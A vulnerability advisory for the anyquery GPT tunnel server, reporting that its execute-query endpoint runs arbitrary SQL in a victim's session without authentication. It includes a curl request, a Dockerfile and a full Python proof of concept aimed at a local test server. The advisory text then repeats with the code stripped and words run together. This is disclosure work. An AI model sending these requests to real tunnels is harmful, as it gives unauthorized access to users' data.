Unauthenticated Remote Query Execution via GPT Tunnel API
Summary
The anyquery GPT tunnel server exposes a POST /{id}/execute-query HTTP endpoint that accepts and forwards attacker-controlled SQL to a connected victim Anyquery client without any authentication check. Any network-reachable attacker who obtains or guesses an active tunnel ID can silently execute arbitrary SQL against the victim's local Anyquery session, leading to full read/write access to all configured integration data (databases, SaaS plugins, etc.). The vulnerability is enabled by default when users run anyquery gpt. CVSS v3.1 Base Score: 8.9 (High).
Details
The websocket tunnel server (other/websocket_tunnel/server/) hosts two virtual domains via the Host header:
tunnel.anyquery.xyz — victim-facing: creates tunnels and upgrades WebSocket connections. The WebSocket upgrade handler (websocket.go:44–74) does validate a Bearer token.
gpt.anyquery.xyz — LLM-facing: exposes resource endpoints intended for GPT / LLM clients. The route registration and all three resource handlers are entirely unauthenticated.
The vulnerable route is registered in other/websocket_tunnel/server/server.go:149:
r.Post("/{id}/execute-query", s.executeQueryAPI)
No authentication middleware wraps the gptRouter. The handler in other/websocket_tunnel/server/controller.go:126–151 reads the tunnel ID from the URL and the SQL from the JSON body, then directly calls s.executeQuery() with no Authorization header inspection:
// controller.go:126-143 (simplified)
func (s *server) executeQueryAPI(w http.ResponseWriter, req *http.Request) {
id := chi.URLParam(req, "id")
// ... no auth check ...
var body struct{ Query string }
json.NewDecoder(req.Body).Decode(&body)
res, err := s.executeQuery(id, body.Query)
...
}
The full data flow from attacker HTTP request to victim SQL execution:
server.go:149 — gptRouter registers POST /{id}/execute-query with no middleware.
controller.go:127 — id sourced from URL parameter.
controller.go:138 — body.Query sourced from request JSON body.
controller.go:143 — s.executeQuery(id, body.Query) called with zero authorization checks.
websocket.go:255–267 — attacker SQL is serialized and written to the victim's WebSocket session.
controller/llm.go:311–322 — victim client receives "execute-query" message and invokes executeQueryLLM(db, req.Args[0].(string), &textRes).
controller/llm.go:180–200 — sh.Run(query) is called (sink).
controller/middleware.go:342 / :350 — SQL reaches DB.Query(...) or DB.Exec(...) (final sink).
The auth guard in websocket.go:44–74 applies exclusively to the victim's WebSocket upgrade and does not protect the HTTP API endpoints used by the attacker.
Tunnel mode is on by default: controller/llm.go:238–240 sets tunnelEnabled = true when no explicit host/port is provided (the normal anyquery gpt invocation).
The tunnel ID (generateRandomID(8), 8 lowercase letters, ~15 billion combinations) is the sole barrier. However, the ID is intentionally shared with LLM services (ChatGPT, etc.) as part of normal usage, and the server applies no rate limiting to the gptRouter, making enumeration or leakage realistic.
PoC
Prerequisites:
- Docker installed.
- Repository cloned to a local path such that
repo/other/websocket_tunnel/server/ is present.
Build the Docker image (from the repository root):
docker build \
-f vuln-001/Dockerfile \
-t anyquery-vuln001 \
reports/github_web_340_julien040__anyquery
Run the PoC (the container starts the tunnel server and executes poc.py automatically):
docker run --rm anyquery-vuln001
What the PoC does (poc.py):
- Starts the tunnel server binary compiled from repo source on
127.0.0.1:5566.
- Victim registers a new tunnel via
POST /tunnel/new (Host: tunnel.anyquery.xyz) with Authorization: Bearer poc-victim-secret-token-xyz, obtaining a tunnel ID (e.g., iletihjf).
- Victim upgrades to WebSocket at
/websocket-anyquery?tunnel_id=<id> — auth is validated here.
- Attacker sends a
POST request with no Authorization header:
curl -i \
-H 'Host: gpt.anyquery.xyz' \
-H 'Content-Type: application/json' \
-X POST "http://127.0.0.1:5566/iletihjf/execute-query" \
--data '{"query":"SELECT '"'"'attacker_was_here'"'"' AS injected, 1337 AS pwned"}'
Expected (secure) response: HTTP 401 Unauthorized
Actual observed response:
HTTP/1.1 200 OK
[VICTIM recv] method='execute-query' args=["SELECT 'attacker_was_here' AS injected, 1337 AS pwned"]
Body: "victim_result_for: SELECT 'attacker_was_here' AS injected, 1337 AS pwned"
RESULT: PASS — VULNERABILITY CONFIRMED
* POST /iletihjf/execute-query returned HTTP 200 with NO auth header
* Victim received execute-query: "SELECT 'attacker_was_here' AS injected, 1337 AS pwned"
* Attacker received response : "victim_result_for: SELECT 'attacker_was_here' AS injected, 1337 AS pwned"
Expected: HTTP 401 Unauthorized
Actual : HTTP 200 — attacker SQL forwarded through victim session
Impact
This is a Missing Authentication for Critical Function vulnerability (CWE-306). Any remote, unauthenticated attacker who obtains or enumerates an active tunnel ID can:
- Read all data accessible through the victim's Anyquery session (databases, SaaS integrations, file-based plugins).
- Write/modify data via
INSERT, UPDATE, or DELETE SQL statements forwarded to the victim client.
- Enumerate schema through the similarly unauthenticated
listTablesAPI and describeTableAPI endpoints.
Affected users are everyone who runs anyquery gpt in the default tunnel mode (no explicit -host/-port flag). The tunnel ID is intentionally distributed to LLM providers, increasing the chance of leakage. Production deployments at gpt.anyquery.xyz are impacted at internet scale.
Reproduction artifacts
Dockerfile
# VULN-001 PoC: Unauthenticated Remote Query Execution via GPT Tunnel API
# CWE-306 | anyquery websocket_tunnel server
#
# Build context: reports/github_web_340_julien040__anyquery/
# docker build -f vuln-001/Dockerfile -t anyquery-vuln001 .
# docker run --rm anyquery-vuln001
# Stage 1: Build the tunnel server binary from the cloned repo source
FROM golang:1.24-alpine AS builder
WORKDIR /build
# Copy only the tunnel server module (has its own go.mod)
COPY repo/other/websocket_tunnel/server/ .
# Build a fully self-contained binary (modernc/sqlite is pure-Go, no CGo needed)
RUN go build -o /tunnel-server .
# Stage 2: Python runtime for the PoC script
FROM python:3.11-alpine
RUN pip install --no-cache-dir requests websocket-client
# Copy the compiled server and the PoC
COPY --from=builder /tunnel-server /usr/local/bin/tunnel-server
COPY vuln-001/poc.py /poc.py
WORKDIR /tmp
ENTRYPOINT ["python3", "/poc.py"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated Remote Query Execution via GPT Tunnel API
Repository: julien040/anyquery (commit 981f706)
CWE-306: Missing Authentication for Critical Function
CVSSv3.1: 8.9 (High) — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
Root cause (server.go:149):
gptRouter registers POST /{id}/execute-query with NO authentication middleware.
Vulnerable handler (controller.go:126-151):
executeQueryAPI reads id + body.Query and calls s.executeQuery() with zero
Authorization checks. Contrast with websocket.go:44-74 where the victim's
WebSocket upgrade DOES validate the Bearer token — the auth guard only
protects the victim-side connection, not the attacker-facing HTTP endpoint.
Data flow proven here:
HTTP POST /{id}/execute-query (no Auth)
-> controller.go:143 s.executeQuery(id, body.Query)
-> websocket.go:267 session.Write(serialized request)
-> victim WebSocket receives {"method":"execute-query","args":["<SQL>"]}
-> server relays victim response back to HTTP caller (HTTP 200)
Expected secure behaviour: HTTP 401 Unauthorized.
Actual observed behaviour: HTTP 200 with attacker SQL forwarded to victim session.
"""
import json
import subprocess
import sys
import threading
import time
import requests
import websocket # websocket-client package
SERVER_ADDR = "127.0.0.1:5566"
BASE_URL = f"http://{SERVER_ADDR}"
WS_BASE = f"ws://{SERVER_ADDR}"
# Victim credentials — only the victim knows these
VICTIM_TOKEN = "poc-victim-secret-token-xyz"
# Attacker-controlled SQL — the attacker does NOT know the victim token
ATTACKER_SQL = "SELECT 'attacker_was_here' AS injected, 1337 AS pwned"
# ---------------------------------------------------------------------------
# Helpers
# ---------------------------------------------------------------------------
def wait_for_server(timeout: int = 15) -> bool:
"""Poll /ping until the tunnel server is accepting connections."""
deadline = time.time() + timeout
while time.time() < deadline:
try:
r = requests.get(f"{BASE_URL}/ping", timeout=1)
if r.status_code == 200:
return True
except Exception:
pass
time.sleep(0.25)
return False
# ---------------------------------------------------------------------------
# Main PoC
# ---------------------------------------------------------------------------
def main() -> int:
print("=" * 64)
print("VULN-001 PoC: Unauthenticated GPT Tunnel execute-query")
print("CWE-306 | anyquery websocket_tunnel server")
print("=" * 64)
# ------------------------------------------------------------------
# Step 1: Start the tunnel server (built from cloned repo source)
# ------------------------------------------------------------------
print("\n[1] Starting anyquery tunnel server ...")
server = subprocess.Popen(
["tunnel-server", "-w", "-a", SERVER_ADDR, "-d", "/tmp/poc.db"],
stdout=subprocess.DEVNULL,
stderr=subprocess.PIPE,
)
if not wait_for_server():
stderr_out = server.stderr.read()
print(f"[!] Server failed to start:\n{stderr_out.decode(errors='replace')}")
server.terminate()
return 1
print(f" Server ready at {SERVER_ADDR}")
# ------------------------------------------------------------------
# Step 2: Victim creates a tunnel (victim_token is their secret)
# POST /tunnel/new with Host: tunnel.anyquery.xyz
# ------------------------------------------------------------------
print("\n[2] Victim registers a tunnel (POST /tunnel/new) ...")
resp = requests.post(
f"{BASE_URL}/tunnel/new",
headers={
"Host": "tunnel.anyquery.xyz",
"Authorization": VICTIM_TOKEN,
},
)
if resp.status_code != 200:
print(f"[!] Failed to create tunnel: {resp.text}")
server.terminate()
return 1
tunnel_id = resp.json()["id"]
print(f" Tunnel ID: {tunnel_id} (only victim knows this + the token)")
# ------------------------------------------------------------------
# Step 3: Victim connects their WebSocket (simulates 'anyquery gpt')
# Authentication IS required here (websocket.go:44-74)
# ------------------------------------------------------------------
print("\n[3] Victim connects WebSocket to /websocket-anyquery ...")
victim_ws = websocket.WebSocket()
victim_ws.connect(
f"{WS_BASE}/websocket-anyquery?tunnel_id={tunnel_id}",
header=[f"Authorization: Bearer {VICTIM_TOKEN}"],
)
print(" Victim WebSocket authenticated and connected.")
victim_queries: list = []
def victim_loop():
"""Simulate the local anyquery client processing execute-query messages."""
while True:
try:
raw = victim_ws.recv()
if not raw:
break
req = json.loads(raw)
method = req.get("method", "")
args = req.get("args", [])
request_id = req.get("request_id", "")
victim_queries.append({"method": method, "args": args})
print(f" [VICTIM recv] method={method!r} args={args!r}")
# Victim client responds (controller/llm.go:311-322 analogue)
victim_ws.send(json.dumps({
"request_id": request_id,
"result": f"victim_result_for: {args[0] if args else ''}",
"error": "",
}))
except Exception as exc:
print(f" [VICTIM] connection closed: {exc}")
break
threading.Thread(target=victim_loop, daemon=True).start()
time.sleep(0.3) # Allow victim thread to enter recv()
# ------------------------------------------------------------------
# Step 4: ATTACKER sends unauthenticated POST /{id}/execute-query
# No Authorization header — this is the vulnerability being proved.
# Host: gpt.anyquery.xyz routes to gptRouter (server.go:149)
# ------------------------------------------------------------------
print("\n[4] ATTACKER sends unauthenticated execute-query ...")
print(f" URL : POST {BASE_URL}/{tunnel_id}/execute-query")
print(f" Host : gpt.anyquery.xyz")
print(f" Auth : (none)")
print(f" SQL : {ATTACKER_SQL}")
try:
atk = requests.post(
f"{BASE_URL}/{tunnel_id}/execute-query",
headers={
"Host": "gpt.anyquery.xyz",
"Content-Type": "application/json",
# *** Deliberately NO Authorization header ***
},
json={"query": ATTACKER_SQL},
timeout=15,
)
except requests.Timeout:
print("[!] Request timed out — victim WebSocket may not be responding.")
server.terminate()
return 1
print(f"\n[5] Attacker received HTTP {atk.status_code}")
print(f" Body: {atk.text.strip()!r}")
# Allow victim thread to record the message
time.sleep(0.2)
# ------------------------------------------------------------------
# Evaluate
# ------------------------------------------------------------------
print("\n" + "=" * 64)
victim_got_sql = (
len(victim_queries) > 0
and len(victim_queries[0].get("args", [])) > 0
and victim_queries[0]["args"][0] == ATTACKER_SQL
)
if atk.status_code == 200 and victim_got_sql:
print("RESULT: PASS — VULNERABILITY CONFIRMED")
print(f" * POST /{tunnel_id}/execute-query returned HTTP 200 with NO auth header")
print(f" * Victim received execute-query: {victim_queries[0]['args'][0]!r}")
print(f" * Attacker received response : {atk.text.strip()!r}")
print()
print(" Expected: HTTP 401 Unauthorized (missing auth guard)")
print(" Actual : HTTP 200 — attacker SQL forwarded through victim session")
print()
print(" Vulnerable code path:")
print(" server.go:149 gptRouter registers /{id}/execute-query (no auth middleware)")
print(" controller.go:126-143 executeQueryAPI calls s.executeQuery() with no auth check")
print(" websocket.go:255-267 query written to victim WebSocket session")
server.terminate()
return 0
elif atk.status_code == 401:
print("RESULT: FAIL — Server returned 401 (vulnerability may already be patched)")
server.terminate()
return 1
elif atk.status_code == 200 and not victim_got_sql:
print(f"RESULT: INCOMPLETE — HTTP 200 but victim did not receive SQL as expected")
print(f" victim_queries = {victim_queries}")
print(f" attacker body = {atk.text!r}")
server.terminate()
return 1
else:
print(f"RESULT: INCOMPLETE — Unexpected HTTP {atk.status_code}")
print(f" Body : {atk.text!r}")
print(f" victim_queries: {victim_queries}")
server.terminate()
return 1
if __name__ == "__main__":
sys.exit(main())
Unauthenticated Remote Query Execution via GPT Tunnel API
Summary
The anyquery GPT tunnel server exposes a
POST /{id}/execute-queryHTTP endpoint that accepts and forwards attacker-controlled SQL to a connected victim Anyquery client without any authentication check. Any network-reachable attacker who obtains or guesses an active tunnel ID can silently execute arbitrary SQL against the victim's local Anyquery session, leading to full read/write access to all configured integration data (databases, SaaS plugins, etc.). The vulnerability is enabled by default when users runanyquery gpt. CVSS v3.1 Base Score: 8.9 (High).Details
The websocket tunnel server (
other/websocket_tunnel/server/) hosts two virtual domains via theHostheader:tunnel.anyquery.xyz— victim-facing: creates tunnels and upgrades WebSocket connections. The WebSocket upgrade handler (websocket.go:44–74) does validate aBearertoken.gpt.anyquery.xyz— LLM-facing: exposes resource endpoints intended for GPT / LLM clients. The route registration and all three resource handlers are entirely unauthenticated.The vulnerable route is registered in
other/websocket_tunnel/server/server.go:149:No authentication middleware wraps the
gptRouter. The handler inother/websocket_tunnel/server/controller.go:126–151reads the tunnel ID from the URL and the SQL from the JSON body, then directly callss.executeQuery()with noAuthorizationheader inspection:The full data flow from attacker HTTP request to victim SQL execution:
server.go:149—gptRouterregistersPOST /{id}/execute-querywith no middleware.controller.go:127—idsourced from URL parameter.controller.go:138—body.Querysourced from request JSON body.controller.go:143—s.executeQuery(id, body.Query)called with zero authorization checks.websocket.go:255–267— attacker SQL is serialized and written to the victim's WebSocket session.controller/llm.go:311–322— victim client receives"execute-query"message and invokesexecuteQueryLLM(db, req.Args[0].(string), &textRes).controller/llm.go:180–200—sh.Run(query)is called (sink).controller/middleware.go:342/:350— SQL reachesDB.Query(...)orDB.Exec(...)(final sink).The auth guard in
websocket.go:44–74applies exclusively to the victim's WebSocket upgrade and does not protect the HTTP API endpoints used by the attacker.Tunnel mode is on by default:
controller/llm.go:238–240setstunnelEnabled = truewhen no explicit host/port is provided (the normalanyquery gptinvocation).The tunnel ID (
generateRandomID(8), 8 lowercase letters, ~15 billion combinations) is the sole barrier. However, the ID is intentionally shared with LLM services (ChatGPT, etc.) as part of normal usage, and the server applies no rate limiting to thegptRouter, making enumeration or leakage realistic.PoC
Prerequisites:
repo/other/websocket_tunnel/server/is present.Build the Docker image (from the repository root):
Run the PoC (the container starts the tunnel server and executes
poc.pyautomatically):What the PoC does (
poc.py):127.0.0.1:5566.POST /tunnel/new(Host:tunnel.anyquery.xyz) withAuthorization: Bearer poc-victim-secret-token-xyz, obtaining a tunnel ID (e.g.,iletihjf)./websocket-anyquery?tunnel_id=<id>— auth is validated here.POSTrequest with noAuthorizationheader:Expected (secure) response:
HTTP 401 UnauthorizedActual observed response:
Impact
This is a Missing Authentication for Critical Function vulnerability (CWE-306). Any remote, unauthenticated attacker who obtains or enumerates an active tunnel ID can:
INSERT,UPDATE, orDELETESQL statements forwarded to the victim client.listTablesAPIanddescribeTableAPIendpoints.Affected users are everyone who runs
anyquery gptin the default tunnel mode (no explicit-host/-portflag). The tunnel ID is intentionally distributed to LLM providers, increasing the chance of leakage. Production deployments atgpt.anyquery.xyzare impacted at internet scale.Reproduction artifacts
Dockerfilepoc.py